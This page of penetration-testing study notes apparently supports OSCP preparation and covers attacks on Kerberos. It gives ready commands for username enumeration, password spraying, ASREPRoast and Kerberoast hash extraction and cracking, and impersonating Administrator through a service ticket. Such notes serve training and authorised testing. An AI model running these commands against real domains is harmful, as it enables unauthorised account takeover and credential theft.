📡

Kerberos (Tcp 88)

Notes from oscp.adot8.com — services.

#services#adot8

source · oscp.adot8.com · services/kerberos-less-than-tcp-88-greater-than ↗

Kerberos <tcp 88>

Kerberos = Domain Controller. Enum users, ASREPRoast, Kerberoast, spray.

Nmap

code

01nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=$domain,userdb=users.txt $ip

User enumeration (no creds)

code

01kerbrute userenum --dc $ip -d $domain /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o kerb_users.txt

Kerbrute only asks "does this principal exist" — does NOT count against lockout policy.

Password spray

code

01kerbrute passwordspray --dc $ip -d $domain users.txt 'Winter2025!'

Check lockout policy first: nxc smb $ip -u guest -p '' --pass-pol

ASREPRoast (users without pre-auth)

code

01impacket-GetNPUsers $domain/ -dc-ip $ip -usersfile users.txt -no-pass -format hashcat -outputfile asrep.hash
02hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

Kerberoast (any valid creds)

code

01impacket-GetUserSPNs $domain/$user:$pass -dc-ip $ip -request -outputfile spns.hash
02hashcat -m 13100 spns.hash /usr/share/wordlists/rockyou.txt

Clock skew (KRB_AP_ERR_SKEW)

code

01sudo ntpdate $ip
02sudo rdate -n $ip

Pass-the-ticket

code

01export KRB5CCNAME=$(pwd)/ticket.ccache
02impacket-getST -spn cifs/$dc.$domain -impersonate Administrator $domain/$user:$pass